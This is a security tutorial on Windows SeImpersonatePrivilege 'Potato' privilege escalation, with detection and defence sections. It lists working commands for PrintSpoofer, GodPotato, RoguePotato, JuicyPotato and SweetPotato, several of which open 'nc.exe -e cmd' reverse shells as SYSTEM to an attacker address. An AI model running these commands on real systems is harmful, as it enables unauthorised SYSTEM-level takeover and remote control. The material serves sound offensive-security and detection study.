SeImpersonate and Potato attacks

SeImpersonatePrivilege is a Windows privilege that lets a process impersonate the access token of a client that authenticates against it. It's meant for legitimate services (a server acting "on behalf of" the connecting user), but it's the centerpiece of a whole family of escalations: the Potato attacks.

Who has it. Many service accounts carry it by default: NT AUTHORITY\NETWORK SERVICE, LOCAL SERVICE, the IIS/MSSQL accounts, etc. If you get code execution in the context of one of those services (a web shell, a reverse shell from an application), you inherit the privilege, and with it the path to SYSTEM.

The common Potato idea. The attacker:

1. Stands up a local endpoint (a named pipe or a rogue COM/RPC server).
2. Tricks a privileged service running as SYSTEM into authenticating against that endpoint (in JuicyPotato, by forcing the activation of a COM object by its CLSID; the rpcss service activates it as SYSTEM).
3. When SYSTEM connects, captures its token with ImpersonateNamedPipeClient().
4. With SeImpersonatePrivilege, launches a process with that token via CreateProcessWithTokenW(): a shell as NT AUTHORITY\SYSTEM.

whoami /priv          :: confirm SeImpersonatePrivilege = Enabled

Arsenal by variant

Not all work on every Windows version; try them newest-first. All drop a binary on the host and spawn a shell as SYSTEM.

PrintSpoofer / GodPotato (Windows 10/11, Server 2019/2022), the current vector via spooler or DCOM:

PrintSpoofer.exe -i -c cmd.exe
PrintSpoofer.exe -c "nc.exe <ip> <port> -e cmd"
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc.exe -e cmd <ip> <port>"

RoguePotato (Server 2019 / Win10 1809+), needs an OXID redirector on port 135:

RoguePotato.exe -r <ip> -e "cmd.exe" -l 9999
:: on the attacker first: socat tcp-listen:135,reuseaddr,fork tcp:<ip>:9999

JuicyPotato (up to Server 2016 / Win10 1809), requires a CLSID that activates as SYSTEM:

JuicyPotato.exe -t * -l 4321 -p C:\Windows\System32\cmd.exe -a "/c nc.exe -e cmd <ip> <port>" -c {CLSID}

SweetPotato / JuicyPotatoNG bundle several vectors (spooler, DCOM, WinRM) into one binary:

SweetPotato.exe -a "nc.exe -e cmd <ip> <port>"
JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c nc.exe -e cmd <ip> <port>"

CLSIDs per Windows version are catalogued in the JuicyPotato repo: pick one from the BITS/WinRM service that activates as SYSTEM for that build.

Why it matters. It turns a seemingly harmless "service" privilege into a direct escalation to SYSTEM, with no kernel exploits. It's one of the most reliable privesc paths on Windows.

How to detect it. The cleanest signature is process lineage: a child process running as NT AUTHORITY\SYSTEM whose parent is a service account (IIS w3wp.exe, MSSQL sqlservr.exe, NETWORK SERVICE) is exactly what a Potato produces. It shows up in Event ID 4688 (process creation, with command-line auditing) or Sysmon 1, where the integrity transition from service to SYSTEM without an interactive login betrays the impersonation. Variants abusing the spooler (PrintSpoofer, some Potatoes) touch the \pipe\spoolss named pipe, visible in Sysmon 17/18 (Pipe Created/Connected). And there is always a freshly dropped binary (JP.exe, GodPotato.exe) that EDR/AV flags. The key: almost nothing legitimate spawns a cmd/nc as SYSTEM from a web service account.

Defence. Minimize service accounts with SeImpersonatePrivilege, keep the system patched (modern versions mitigate several variants), and isolate exposed services so that code execution doesn't land in an account with this privilege. Related to SUID abuse on Linux as a conceptual equivalent: a permission meant for legitimate use turned into escalation.